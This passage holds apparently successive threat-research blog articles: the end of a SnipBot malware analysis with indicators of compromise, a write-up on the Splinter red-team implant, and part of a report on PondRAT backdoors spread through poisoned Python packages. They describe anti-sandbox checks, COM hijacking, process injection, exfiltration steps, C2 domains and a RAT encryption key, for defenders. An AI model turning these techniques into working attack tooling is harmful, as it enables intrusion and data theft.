The last sample, whose filename is unknown (SHA256: 2c327087b063e89c376fd84d48af7b855e686936765876da2433485d496cb3a4), was signed by Hangzhou Yueju Apparel Co., Ltd. and it also contacted drv2ms[.]com.

The second most recent version we found has a few window-related API functions left in the code, but the threat actors did not use them for any obfuscation techniques. This version used another anti-sandbox trick by checking whether there are at least 50 sub-keys in the Shell Bags registry key, which is a typical number for a user system. Shell Bags are stored configuration settings within the registry that remember folder display preferences, such as position, size and view mode in Windows Explorer.

Anti-Sandbox Technique. The instruction to check if at least 50 sub-keys exist in the specified path.

We found a sample of this version named atch_List_of_Available_Documents.exe (SHA256: a2f2e88a5e2a3d81f4b130a2f93fb60b3de34550a7332895a084099d99a3d436) that was also signed by Hangzhou Yueju Apparel Co., Ltd. When executed, it connected to the C2 domain olminx[.]com to download the next stage payload.

This earliest version also used the window-based control-flow obfuscation technique. We found a sample that was named Atch_Data_Breach_Evidence.pdf … Open with Adobe Acrobat.exe (SHA256: 5c71601717bed14da74980ad554ad35d751691b2510653223c699e1f006195b8) that was also signed by Hangzhou Yueju Apparel Co., Ltd., and it connected to olminx[.]com.

Earlier Versions

The earliest version of SnipBot we could find was submitted from Ukraine to VirusTotal in December 2023. The initial infection vector was a PDF file named резюме.pdf. When opened, a message box appears saying the font package AdSlavicF is missing, luring the victim into clicking on the link to install it and show the content correctly.

Figure 6 shows the PDF content with the unresolved text and the message indicating to click on the URL on top. When the victim clicks the link, they’re redirected to the website adobe.cloudcreative[.]digital/downloads/adobe/fontpackage/, which is meant to look like a legitimate Adobe site.

The name and logo shown are the work of a threat actor attempting to impersonate a legitimate organization. They do not represent an actual affiliation with that organization. The threat actor’s impersonation does not imply a vulnerability in the legitimate organization’s products or services.

Error message displayed in Adobe Acrobat Reader indicating, "Cannot find or create the font 'AdSlavicF'. Some characters may not display or print correctly," with an 'OK' button.
Figure 6. PDF lure document leading to the SnipBot downloader.

Figure 7 shows the landing page at adobe.cloudcreative[.]digital impersonating the legitimate Adobe download site. When the victim clicks on the “Download Font Package” button, a file download dialog appears.

Screenshot of a fake Adobe Font Package webpage, featuring a light pink and white color scheme with illustrations and icons that explain various features such as view, store & share, fill and sign, give and get feedback, and work from anywhere. Download options and promotional texts are also visible.
Figure 7. Fake Adobe website leading to the SnipBot downloader.

Figure 8 shows a dialog that simulates a legitimate Adobe font package download. But instead, the initial SnipBot downloader gets downloaded from temp[.]sh/VwnkO/AdobeFontPackCx6416.exe.

Screenshot of a fake Adobe software installation process on a computer screen. The left side shows a "Download and launch Adobe software" step marked as complete at 100% with an icon of a downward arrow on a box. The right side shows a "Finish installation" step with an icon representing a monitor and an Adobe package, indicating the software installation is in progress.
Figure 8. Download dialog of a fake Adobe website leading to the SnipBot downloader.

The executable AdobeFontPackCx6416.exe (SHA256: cfb1e3cc05d575b86db6c85267a52d8f1e6785b106797319a72dd6d19b4dc317) is an earlier and simpler version of the initial downloader from our incident. It also has a PDF icon, and it is signed with a valid certificate by COSMART LLC.

The downloader checks for the original filename for full execution and dynamically resolves all functions by API hashing. It connects to the C2 server at ilogicflow[.]com to download the next stage, which we couldn’t obtain as the server wasn’t online anymore.

The file also seems to download a real font named AdSlavicF.ttf to the same directory as the SnipBot downloader and install it via InstallFontFile from the Windows library fontext.dll. We can’t verify if this is the missing font that makes the document’s content visible or just a random one used to make the chain of events look more legitimate.

We also found an earlier version of config-pdf.dll (SHA256: b9677c50b20a1ed951962edcb593cce5f1ed9c742bc7bff827a6fc420202b045) submitted from Ukraine to VirusTotal in January 2024. This version is not a DLL file but an EXE file submitted as webtime-e.exe. This file connected to the C2 server at webtimeapi[.]com to download earlier versions of keyprov.dll and single.dll.

The earlier version of keyprov.dll was dropped as libapi.dll (SHA256: 9f635fa106dbe7181b4162266379703b3fdf53408e5b8faa6aeee08f1965d3a2) and was also created as a COM DLL. Again, the threat used COM hijacking to register the file as the sync registration library in the registry hive of the current user and to load it into the Explorer.

Explorer Injection via COM Hijacking. It describes the process involving registry key creation and restarted Explorer to load a DLL. The image displays a series of command prompts and file paths related to computer programming.

The earlier version of single.dll was encrypted and stored in the registry key HKCU\SOFTWARE\AppDataHigh\Software as a binary value named state1. Also, it stored the string UPDE1 in a binary value named state2 under the same key.

Another sample of an earlier version named CV_for_a_job.exe (SHA256: 5b30a5b71ef795e07c91b7a43b3c1113894a82ddffc212a2fa71eebc078f5118) was submitted to VirusTotal in February 2024. It was signed with a legitimate certificate from KHAROS LLC.

The file checks for the original process name and dynamically resolves functions by API hashing. It was hosted on the server resolved by the domain name 1drv.fileshare[.]direct, a fake file sharing service set up by the attacker.

This sample drops and opens an embedded empty PDF file named AdobeARM.log.pdf instead of downloading it. It only connected to the C2 server at certifysop[.]com to download and execute the next stage payload from memory.

All earlier versions only checked whether the process name was the original given filename as an anti-sandbox evasion method. They didn’t use any registry-related tricks.

Post-Infection Activity

With the help of Cortex XDR telemetry data, we recreated post-infection activity from the attacker, which was mostly command-line commands. A timeline from the initial infection to the last seen command is shown below.

Figure 9 shows the attacker's post-infection behavior on April 4, which occurred over a period of roughly four hours.

Flowchart depicting the stages of a cyber attack using the MITRE ATT&CK framework, including "Malware Execution," "Discovery," "Delivery," and "Data Exfiltration." Detailed steps and commands are outlined for each stage, using colored circles and labeled lines to show the sequence and connections.
Figure 9. Timeline of post-infection attacker activity.

With the command-line functionality of SnipBot’s main module single.dll, the attacker first tried to gather information about the company’s internal network, including the domain controller. Afterwards, attackers attempted to exfiltrate a list of different files from the victim’s documents, downloads and OneDrive folders to the server with the IP address 91.92.250[.]104.

This server sent AD Explorer and WinRAR to the victim’s system for the second discovery phase. Before the exfiltration, the attacker packed the files with WinRAR (renamed as fsutil.exe), while the actual data transfer to the server was achieved with the help of the PuTTY Secure Copy client (renamed as dsutil.exe).

Table 3 shows the file types that the attackers target for data exfiltration.

File type Related Software/Description
db SQLite database
bbk Unclear, might be a TreePad backup file
dll Windows dynamic-link library
mp4 MP4 digital media container
msi Microsoft Software Installer
mp3 MP3 digital audio coding
wav Waveform audio format
dbs SQLBase database
exe Windows executable
iso Optical disk image
avi Audio video interleave
onetoc2 Microsoft OneNote
dcm Digital imaging and communications in medicine
zbf Z-Buffer Radiance
che Unclear, might be related to CHwinEHE software
mov Quicktime multimedia container
cab Cabinet archive
dat Generic data format
mkv Matroska container
xdw DocuWorks
zip Archive format
hwp Hancom Office
wmv Windows media video
mpj Minitab
des CorelDRAW
mtw Minitab
reg Windows registry
mac Unclear, might be also Minitab
cnt Windows help
chm Windows compiled help
hlp WinHelp
mpg Digital video container
mpeg Digital video container
mkv Matroska container (duplicate)
mts Advanced video coding high definition
vob Video object container

Table 3. Exfiltrated file types.

This list of file types contains some unusual ones, making any conclusions about the attacker’s motivation difficult. While some of the types appear to be standard files used to get more information about the victim's system, others appear to pertain to information about the victim's personal health (ZBF, DCM).

The data exfiltration attempt we observed didn’t seem to run smoothly, as the attacker tried to kill the PuTTY process (taskkill /pid 1628 /f). Afterward, the attacker manually downloaded a new copy of config-pdf.dll to the victim's system and started it with rundll32.exe.

When we analyzed this file, we found this payload was the missing one downloaded from xeontime[.]com. However, this new version connected to a different C2 domain cethernet[.]com to get additional payloads or commands from the attacker.

One of the last activities we saw was that the attacker used AD Explorer (renamed as fsutil.exe) to create a snapshot of the local AD database. We do not know whether this was successful, as the victim’s system was most likely a company laptop without any AD access.

Finally, in the second data exfiltration phase, the attacker used WinRAR to create an archive of all files contained in the folder c:\essential\. This is the last activity shown in XDR telemetry data. It’s likely that the attacker abandoned the victim’s system because its access to company sources was restricted, making it uninteresting for the attacker.

Characteristics

Looking at the malware’s code, we can see that the authors implemented all functionality in a small number of very long functions. All files were coded in C++. The code contains a few minor flaws, indicating the attacker has experience as a Windows developer, but they are not seasoned professionals.

For example, Figure 10 shows the API function CreateDirectory() is called twice in a row, which appears to be a typical copy and paste mistake.

Screenshot of computer code in an editor, featuring lines that include function calls like CreateDirectoryA and string operations, with syntax highlighting in shades of blue, pink, and white.
Figure 10. Code flaw by using the API function CreateDirectoryA() twice.

Table 4 shows the C2 and staging domain information with the last active IP addresses.

C2/Staging Domains Last IP Address
fastshare[.]click 52.72.49[.]79
(drv.)docstorage[.]link 212.46.38[.]222
publicshare[.]link 52.72.49[.]79
xeontime[.]com 91.92.250[.]240
drvmcprotect[.]com 91.92.254[.]54
mcprotect[.]cloud 185.225.74[.]94
cethernet[.]com 91.92.254[.]234
sitepanel[.]top 91.92.254[.]234
drv2ms[.]com 79.141.170[.]34
olminx[.]com 91.92.250[.]106
ilogicflow[.]com 23.184.48[.]90
webtimeapi[.]com 91.92.242[.]87
dns-msn[.]com 91.92.242[.]87
certifysop[.]com 23.137.248[.]220
linedrv[.]com 38.180.5[.]251
(adobe.)cloudcreative[.]digital 23.137.249[.]182
(1drv.)fileshare[.]direct 23.137.249[.]14

Table 4. C2/Staging domain name information.

Conclusion

With the detection capabilities of our advanced Windows sandbox memory scanning tool, we identified an unusual DLL module as part of a new RomCom version dating back to at least December 2023. This updated RomCom version called SnipBot uses a custom obfuscation technique and new anti-analysis tricks.

The attacker's intentions are difficult to discern given the variety of targeted victims, which include organizations in sectors such as IT services, legal and agriculture. While attackers have occasionally dropped ransomware on systems infected with RomCom in the past, this did not occur in our cases or in any of Sophos' incidents. We suspect this threat actor has shifted its aim away from pure financial gain toward espionage.

CERT-UA has also published further information about the threat actor behind SnipBot, including other tools and indicators of compromise (IoC).

This highlights the need for organizations to remain vigilant and adopt advanced security measures to protect their systems and data from evolving cyberthreats.

Palo Alto Networks customers are better protected from the SnipBot malware through products like Cortex and Advanced WildFire, with its different memory analysis features. Advanced WildFire classifies the SnipBot malware samples in this article as malicious. Advanced URL Filtering and Advanced DNS Security classify known URLs and domains associated with this activity as malicious.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

We would like to thank Sophos for the collaboration.

Indicators of Compromise

Files (Read: SHA256 hash - file type)

  • 0be3116a3edc063283f3693591c388eec67801cdd140a90c4270679e01677501 - 64-bit EXE
  • 1cb4ff70f69c988196052eaacf438b1d453bbfb08392e1db3df97c82ed35c154 - 64-bit DLL
  • 2c327087b063e89c376fd84d48af7b855e686936765876da2433485d496cb3a4 - 64-bit EXE
  • 5390ba094cf556f9d7bbb00f90c9ca9e04044847c3293d6e468cb0aaeb688129 - 64-bit EXE
  • 57e59b156a3ff2a3333075baef684f49c63069d296b3b036ced9ed781fd42312 - 64-bit EXE
  • 5b30a5b71ef795e07c91b7a43b3c1113894a82ddffc212a2fa71eebc078f5118 - 64-bit EXE
  • 5c71601717bed14da74980ad554ad35d751691b2510653223c699e1f006195b8 - 64-bit EXE
  • 60d96087c35dadca805b9f0ad1e53b414bcd3341d25d36e0190f1b2bbfd66315 - 64-bit DLL
  • 92c8b63b2dd31cf3ac6512f0da60dabd0ce179023ab68b8838e7dc16ef7e363d - 64-bit DLL
  • a2f2e88a5e2a3d81f4b130a2f93fb60b3de34550a7332895a084099d99a3d436 - 64-bit EXE
  • b9677c50b20a1ed951962edcb593cce5f1ed9c742bc7bff827a6fc420202b045 - 64-bit EXE
  • cfb1e3cc05d575b86db6c85267a52d8f1e6785b106797319a72dd6d19b4dc317 - 64-bit EXE
  • e5812860a92edca97a2a04a3151d1247c066ed29ae6bbcf327d713fbad7e79e8 - 64-bit DLL
  • f74ebf0506dc3aebc9ba6ca1e7460d9d84543d7dadb5e9912b86b843e8a5b671 - PDF document

Mutex

  • SnipMutex

Associated Domains/IP addresses

  • fastshare[.]click
  • docstorage[.]link
  • publicshare[.]link
  • xeontime[.]com
  • drvmcprotect[.]com
  • mcprotect[.]cloud
  • cethernet[.]com
  • sitepanel[.]top
  • ilogicflow[.]com
  • webtimeapi[.]com
  • dns-msn[.]com
  • certifysop[.]com
  • drv2ms[.]com
  • olminx[.]com
  • linedrv[.]com
  • adobe.cloudcreative[.]digital
  • 1drv.fileshare[.]direct
  • 91.92.250[.]104

Directory paths

  • %LOCALAPPDATA%\KeyStore
  • %LOCALAPPDATA%\DataCache
  • %LOCALAPPDATA%\AppTemp

Registry Keys

  • HKCU\SOFTWARE\AppDataSoft
  • HKCU\SOFTWARE\AppDataHigh

Code Signers (Possibly Spoofed)

  • CC Byg og Udlejning ApS
  • COSMART LLC
  • KHAROS LLC
  • Hangzhou Yueju Apparel Co., Ltd.
  • ARION LLC

Discovering Splinter: A First Look at a New Post-Exploitation Red Team Tool

Executive Summary

This article discusses the discovery of a new post-exploitation red team tool called Splinter that we found on customer systems using Advanced WildFire’s memory scanning tools. Penetration testing toolkits and adversary simulation frameworks are often useful for identifying potential security issues in a company's network. However, these tools can sometimes end up in the hands of criminals, highlighting the need for continuous tracking and detection of them.

Palo Alto Networks customers are better protected from the Splinter post-exploitation tool through Advanced WildFire with its different memory analysis features. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research. Advanced WildFire classifies the Splinter malware samples discussed in this article as malicious.

Cortex XDR and XSIAM help detect and block known samples, and Behavioral Threat Protection monitors for post-exploitation activity.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Red Teaming Tool, Malware

Introduction to Splinter

Earlier this year, our Advanced WildFire memory scanning tools discovered a new post-exploitation red team tool on a customer system. By searching our sample telemetry database, we discovered that several customers were affected.

Several string artifacts in the samples, as well as the collection of features, make it evident that Splinter is a red team tool. This tool’s name is its internal project name, which was left behind in a debug artifact. We don't yet know who developed Splinter – we have only a few hints that don't lead to a significant conclusion.

When used responsibly, penetration testing toolkits and adversary simulation frameworks can significantly improve a company’s security. Their primary purpose is to identify potential vulnerabilities in a company's network before an attacker exploits them.

Many of these toolkits include post-exploitation capabilities. Post-exploitation tools are often custom developed with the goal of expanding initial access gained and simulating long-term access on a target system.

The most well-known example of this sort of toolkit is Cobalt Strike. Although it’s proprietary software that only legal clients can acquire, sometimes it ends up in the hands of criminals.

During our analysis, we have not identified threat actor activity associated with the Splinter tool set.

Technical Analysis

Splinter is developed in Rust, a relatively new programming language that’s recommended for developing memory-safe software. However, it has densely layered runtime code, which amounts for up to 99% of a program's code. This density makes analysis a real challenge for malware reverse engineers.

The sample found on a customer system (SHA-256: 1962cef10cf737300d04a23139122abcc8e8803e54dfcb63054140fbe549bed0) is a 64-bit executable that was linked with debug information that has the following PDB path:

  • C:\gitlab-runner\builds\_fUzhMf8i\0\h3upperbounds\red-team\implant\splinter_core\target\release\deps\implant_exe.pdb

As this file path shows, the project name of this post-exploitation tool is Splinter. A single sample is defined as an implant, a typical term for a red-team post-exploitation tool. Other samples are compiled as DLLs with a PDB path ending with implant_dll.pdb.

While Rust samples are typically large, ranging from a few hundred kilobytes to a few megabytes, a typical Splinter sample is exceptionally large at around 7 MB. This is mostly due to its use and of large external libraries that are statically linked into the file. These are referred to as crates in Rust terminology.

The sample uses the following crates:

  • indexmap (2.2.3)
  • futures-channel (0.3.30)
  • tracing-core (0.1.32)
  • matchers (0.1.0)
  • hyper-rustls (0.24.2)
  • regex-syntax (0.6.29, 0.8.2)
  • tokio-util (0.7.10)
  • hashbrown (0.14.3, 0.14.0)
  • tracing-subscriber (0.3.18)
  • tokio-rustls (0.24.1)
  • parking_lot (0.12.1)
  • once_cell (1.19.0)
  • sharded-slab (0.1.7)
  • socket2 (0.5.5)
  • windows-core (0.51.1)
  • sct (0.7.1)
  • url (2.5.0)
  • percent-encoding (2.3.1)
  • lazy_static (1.4.0)
  • smallvec (1.13.1)
  • serde (1.0.196)
  • spin (0.9.8)
  • tinyvec (1.6.0)
  • ring (0.17.7)
  • regex-automata (0.4.5, 0.1.10)
  • backtrace (0.3.69)
  • crossbeam-channel (0.5.11)
  • serde_json (1.0.113)
  • anyhow (1.0.79)
  • ipnet (2.9.0)
  • encoding_rs (0.8.33)
  • reqwest (0.11.24)
  • rustc-demangle (0.1.23)
  • want (0.3.1)
  • tracing-appender (0.2.3)
  • mio (0.8.10)
  • unicode-normalization (0.1.22)
  • rustls-pemfile (1.0.4)
  • mime (0.3.17)
  • parking_lot_core (0.9.9)
  • bytes (1.5.0)
  • httparse (1.8.0)
  • futures-util (0.3.30)
  • thread_local (1.1.7)
  • rustls-webpki (0.101.7)
  • time (0.3.34)
  • h2 (0.3.24)
  • untrusted (0.9.0)
  • rmp-serde (1.1.2)
  • tracing-log (0.2.0)
  • futures-core (0.3.30)
  • regex (1.10.3)
  • log (0.4.20)
  • idna (0.5.0)
  • uuid (1.7.0)
  • tokio (1.36.0)
  • http (0.2.11)
  • base64 (0.21.7)
  • slab (0.4.9)
  • hyper (0.14.28)
  • rustls (0.21.10)

Like many other post exploitation tools, Splinter uses a configuration data structure in JSON format that contains the necessary information for its operations. The data structure is internally named ImplantConfig and contains the following information:

  • id (correlation_id in older samples): Implant ID [string]
  • weakness_uuid: Unknown ID (probably related to an exploited vulnerability) [string]
  • endpoint_uuid: Targeted endpoint ID [string]
  • is_test_implant: Whether the file is a test sample [boolean]
  • c2_server_address: Command and control (C2) server address [string]
  • c2_port: C2 server port [int]
  • c2_user: C2 username [string]
  • c2_password: C2 user password [string]
  • log_path: Path of log file [string]
  • log_env: Log level [string]

As an example, our Splinter sample contains the following data:

Upon execution, the sample parses the configuration data and it uses the network information to connect to the C2 server using HTTPS with the login credentials. Splinter implants are controlled by a task-based model, which is common among post-exploitation frameworks. It obtains its tasks from the C2 server the attacker has defined. Splinter tasks have the following post-exploitation features:

  • Execute a Windows command
  • Execute a module via remote process injection
  • Upload a file from the victim’s system to the attacker’s server
  • Drop a file from the attacker’s server to the victim’s system
  • Gather information from a certain cloud service account
  • Self-delete

Splinter uses the classic process injection method as an option for running additional modules.

Figure 1 shows thread creation in a remote process that runs a PE loader shellcode that in turn executes the payload. Both the PE loader and the payload are written to the remote process defined by the attacker.

A screenshot of code in an editing program. The text is different colors to differentiate between commands and processes.
Figure 1. Remote process injection to run additional payloads.

Splinter uses the following URL paths on the attacker’s C2 server to synchronize tasks, maintain a heartbeat connect, and download or upload files:

  • /implant/task_created_events: Used for task synchronization
  • /implant/task_completed_events: Used for task status processing
  • /implant/files/: Used to download/upload files
  • /implant/heartbeat: Used to check if the implant is alive and has a connection to the C2 server

All network communication is encrypted with HTTPS.

Conclusion

In this article, we reveal Splinter, a new post-exploitation red team tool that we have found on several client systems. It has a standard set of features commonly found in penetration testing tools and its developer created it using the Rust programming language. While Splinter is not as advanced as other well-known post-exploitation tools like Cobalt Strike, it still presents a potential threat to organizations if it is misused.

This discovery emphasizes the increasing number of red-teaming tools available. There is therefore an increasing variety of ways that an organization’s environment could reflect threat actor-style activity. The increasing variety underscores the importance of staying up to date on prevention and detection capabilities, since criminals are likely to adopt any techniques that are effective for compromising organizations.

Palo Alto Networks customers receive better protection from this threat through Advanced WildFire. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research.

Cortex XDR and XSIAM help detect and block known samples, and Behavioral Threat Protection monitors for post-exploitation activity.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Sample Hash (SHA-256)

  • 1962cef10cf737300d04a23139122abcc8e8803e54dfcb63054140fbe549bed0

 

Gleaming Pisces Poisoned Python Packages Campaign Delivers PondRAT Linux and macOS Backdoors

Executive Summary

Unit 42 researchers have been tracking the activity of an ongoing poisoned Python packages campaign delivering Linux and macOS backdoors via infected Python software packages. We’ve also found Linux variants of POOLRAT, a known macOS remote administration tool (RAT) previously attributed to Gleaming Pisces (aka Citrine Sleet, distributor of AppleJeus). Based on our research into both RAT families, we assess that the new PondRAT is a lighter version of POOLRAT.

The attackers behind this campaign uploaded several poisoned Python packages to PyPI, a popular repository of open-source Python packages. We assess with medium confidence that this activity is linked to Gleaming Pisces based on noticeable code similarities, and on previous public research and attribution.

We assess that the threat actor’s objective was to secure access to supply chain vendors through developers’ endpoints and subsequently gain access to the vendors' customers' endpoints, as observed in previous incidents. A successful installation of third-party packages can result in malware infection, compromising organizations that rely on the popular PyPI repository.

At the time of writing this article, it appears that the PyPI administrators have removed all the poisoned packages referenced in this article.

Through the detection and intelligence provided by Advanced WildFire, Palo Alto Networks customers are better protected against PondRAT and POOLRAT through the following products:

Related Unit 42 Topics Python, North Korea

Gleaming Pisces Overview

Gleaming Pisces (aka Citrine Sleet, distributor of AppleJeus) is a financially motivated threat actor affiliated with North Korea that has been active since at least 2018. This group is closely linked to North Korea's Reconnaissance General Bureau (RGB) and is known for its sophisticated attacks, particularly against the cryptocurrency industry.

Gleaming Pisces gained notoriety for past campaigns where the group deployed fake cryptocurrency trading software to infiltrate and compromise systems across various platforms.

The Connection to Known Gleaming Pisces Malware

During our investigation of the poisoned Python packages campaign described in this writeup, we analyzed the Linux RAT that was delivered as its final payload. We discovered significant similarities with macOS malware used in a previous AppleJeus campaign reported by CISA, orchestrated by the Gleaming Pisces threat actor.

The following similarities indicate a shared codebase:

  • Overlapping code structures
  • Identical function names and encryption keys
  • Similar execution flows

We named this RAT family PondRAT. Further analysis revealed that PondRAT shared many characteristics with POOLRAT, another known macOS RAT in the arsenal of Gleaming Pisces. Based on these findings, we attribute the poisoned Python packages campaign to Gleaming Pisces.

Poisoned Python Packages Campaign Technical Analysis and Detection

While tracking down recent activity by Gleaming Pisces, we came across poisoned Python packages that various malicious fake personas uploaded to PyPI. These poisoned packages implemented an evasive infection chain to avoid detection and eventually downloaded a Linux RAT onto the infected endpoints. VIPYR Security and Qihoo 360 reported on this activity in detail, specifically involving the following Python packages:

  • real-ids (versions 0.0.3 - 0.0.5)
  • coloredtxt (version 0.0.2)
  • beautifultext (version 0.0.1)
  • minisound (version 0.0.2)

Our analysis determined that while Qihoo 360 also reported on Windows-related activities, those activities appear to be separate from the Linux and macOS campaigns. Further, we assess that the activity reported on by Qihoo 360 was performed by a different threat actor, in contrast to the Linux and macOS campaigns that we here connect to Gleaming Pisces.

The infection chain includes several poisoned Python packages that decode and execute encoded code. After Python installed and loaded the malicious package, a malicious piece of code eventually ran several bash commands to download the RAT, modifying its permissions and executing it.

Figure 1 below shows the infection chain and the prevention of PondRAT by Cortex XDR.

Diagram illustrating a cybersecurity threat involving the Linux PondRAT malware in the Cortex XDR interface. The flowchart includes the use of commands like 'sh', 'chmod', and 'curl' on a Linux system. There is also a pane of alert details.
Figure 1. The PondRAT malware prevented by Cortex XDR.

Comparing PondRAT to Previous Gleaming Pisces Attributed Malware

We found other malware by pivoting based on code similarities to PondRAT, as well as to previously conducted research and attribution to Gleaming Pisces. Figure 2 below depicts a summary of these similarities.

Image showing a flowchart related to cybersecurity threats associated with different operating systems. It illustrates the relationships between PondRAT and POOLRAT and the differences between the macOS and Linux systems. The flowchart begins with poisoned Python packages.
Figure 2. Similarities between the malware we found and other malware previously attributed to Gleaming Pisces.

Code Similarities between PondRAT and Kupayupdate_stage2

In their recently published research, VIPYR Security analyzed the code of a Linux RAT (SHA256: 973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c) that was an unknown at the time, which we now identify as the Linux variant of PondRAT. Gleaming Pisces’ operators did not strip the code, meaning the function names remained as the threat actor initially named them.

When we examined this RAT's main function, we saw that it contained calls to two different functions: FConnectProxy and AcceptRequest:

  • FConnectProxy: This function handles the connection to the C2 server. It sets up the URI and parameters of the HTTP requests.
  • AcceptRequest: This function parses and decrypts commands from the C2 server and is responsible for receiving and executing commands from their remote operators.

Back in 2021, CISA reported about another AppleJeus attack wave called Kupay Wallet. CISA identified a macOS RAT named kupayupdate_stage2 (SHA256: 91eaf215be336eae983d069de16630cc3580e222c427f785e0da312d0692d0fd) that was used as the final payload of this wave.

Upon analyzing the kupayupdate_stage2 RAT for macOS, we noticed that the malware’s functions were also not stripped. When examining its code, we observed several similarities to the Linux RAT. This included the function names FConnectProxy and AcceptRequest, and similar code execution flow.

Figure 3 shows these similarities below.

Two screenshots, side by side, of code for "PondRAT" on both MacOS (left) and Linux (right) platforms, highlighting functions such as "FConnectProxy" and "AcceptRequest". The MacOS version includes command usages like usleep. Text is color-coded to differentiate commands, functions, and values.
Figure 3. Method names and execution flow similarities of the new Linux RAT and kupayupdate_stage2 RAT.

The next step in our analysis was comparing both of the RATs' AcceptRequest functions. We noticed both variants use the same command numerical IDs and similar method names.

Figure 4 below shows that these functions are almost identical, including the command numerical IDs.

Two panels of computer code side by side. On the left is the PondRAT macOS sample and on the right is the PondRAT Linux sample. Various elements are highlighted in red boxes to show the similarities between the two.
Figure 4. Comparison of both RATs’ AcceptRequest function.

Shared Encryption Key

While looking into the encryption method of PondRAT, we noticed that the key used for encrypting output sent back to the server was the following string:

  • wLqfM]%wTx`~tUTbw>R^#yG5R(3C:;.

When we compared this key to the one used by kupayupdate_stage2, we noticed it was the same. Figure 5 shows the shared key below.

Screenshot of computer code in an editor, featuring lines of data type and variable declarations in green text, with some numerical values highlighted in red.
Figure 5. kupayupdate_stage2 encryption key.

PondRAT MacOS Variants Analysis

Following the aforementioned findings, we pivoted and retrieved additional samples of PondRAT’s macOS variant that shared the same encryption key. We found a macOS sample that was previously attributed to be a part of the poisoned Python packages campaign and an additional AppleJeus-related macOS RAT.

os_helper

After analyzing the additional macOS samples that shared the same encryption key, we noticed that one of the samples, a Mach-O multi-arch binary file (SHA256: bfd74b4a1b413fa785a49ca4a9c0594441a3e01983fc7f86125376fdbd4acf6b), was using the same infrastructure as the Linux variant of PondRAT.

Since multi-arch binary files for macOS support both Intel and ARM architectures, this sample contained two other Mach-O binaries. These were compiled for x64 and ARM accordingly, as expected.

The two dropped binaries share the same code (function names and encryption key) with kupayupdate_stage2 as the Linux variant of PondRAT. Based on the apparent code similarities and the shared submitted name os_helper, we assess it was also delivered as the final poisoned Python packages campaign payload. Additionally, these macOS variants used the same C2 (jdkgradle[.]com) as the Linux variant.

Figure 6 below depicts how Cortex XDR prevented the macOS malware execution.

Alert details interface from Cortex XDR featuring a medium severity alert titled 'os_helper' with the status 'Prevented (Blocked)' indicated by a pink and white triangular warning icon with a shield in the center, connected to a circular icon below.
Figure 6. The execution of the os_helper macOS malware prevented by Cortex XDR.

AppleJeus-Related MacOS Variant

Another macOS sample (SHA256: cbf4cfa2d3c3fb04fe349161e051a8cf9b6a29f8af0c3d93db953e5b5dc39c86) we found during pivoting that shared the same encryption key was configured to use rebelthumb[.]net as the C2 server. Volexity reported that this domain was part of the AppleJeus campaign back in 2022. This finding further strengthens our attribution of this campaign to Gleaming Pisces.

The Connection between PondRAT and Gleaming Pisces’ POOLRAT

During our analysis, we found one more difference between the two PondRAT Linux and macOS variants, aside from being compiled for different OS types. The Linux variant implemented a new SendPost function by using the libcurl library while using the file path /tmp/xweb_log.md as the error log for failed connection attempts to the C2 server.

Searching for files with similar behavior, we identified two more relevant samples that belonged to a Linux RAT exhibiting this trait. We identified this RAT as the Linux variant of POOLRAT.

What Is POOLRAT?

In a 2021 report, CISA identified a macOS RAT dubbed prtspool (SHA256: 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8), used as the final payload in one of the AppleJeus (CoinGoTrade) attack waves. Mandiant's analysis of the 3CX supply chain attack also mentioned this RAT family. They reported that attackers used the POOLRAT malware to compromise 3CX’s macOS build environment.

ESET has also identified similarities between POOLRAT and a backdoor called BADCALL for Linux, also attributed to Gleaming Pisces. Figure 7 below shows the execution prevention of the POOLRAT macOS backdoor.

Alert details interface of Cortex XDR, showing a medium severity alert which was prevented and blocked. The interface includes tags for DOM and security, and is highlighted in a pink and white color scheme with a triangular warning icon.
Figure 7. The execution of the POOLRAT macOS malware prevented by Cortex XDR.

The Linux Variants of POOLRAT

The newly discovered Linux variants of POOLRAT (SHA256: 5c907b722c53a5be256dc5f96b755bc9e0b032cc30973a52d984d4174bace456, SHA256: f3b0da965a4050ab00fce727bb31e0f889a9c05d68d777a8068cfc15a71d3703) exhibit several notable similarities to its macOS counterpart (prtspool). According to our analysis, we conclude that they are variants of the macOS POOLRAT rather than a new piece of malware.

The Linux and macOS versions use an identical function structure for loading their configurations, featuring similar method names and functionality. Additionally, the method names in both variants are strikingly similar, and the strings are almost identical. Lastly, the mechanism that handles commands from the C2 is nearly identical.

Figure 8 compares the LoadConfig method of POOLRAT’s macOS and Linux variants.

Two side-by-side screenshots displaying code differences between POOLRAT Linux and POOLRAT MacOS. Each panel shows a programming script on a black background. Select areas are highlighted in red boxes to show the similarities between the two.
Figure 8. Comparison of the LoadConfig function between POOLRAT for macOS and POOLRAT for Linux.

These similarities in configuration and command handling suggest that the Linux versions are adaptations of the original macOS malware, justifying their classification as variants of POOLRAT.

Figure 9 below compares the main functionality of both of the variants.

A screenshot displaying two side-by-side panels of code in a text editor. Each panel shows sections of C programming language, specifically focusing on switch statements managing various case operations related to configuration and setup functions. The code includes comments and function calls. The left panel is POOLRAT for Linux and the right panel id POOLRAT for macOS.
Figure 9. Comparison between POOLRAT for macOS and POOLRAT for Linux.

PondRAT: The Lighter Version of POOLRAT

When analyzing PondRAT samples, we found that the command handler had similarities to POOLRAT.

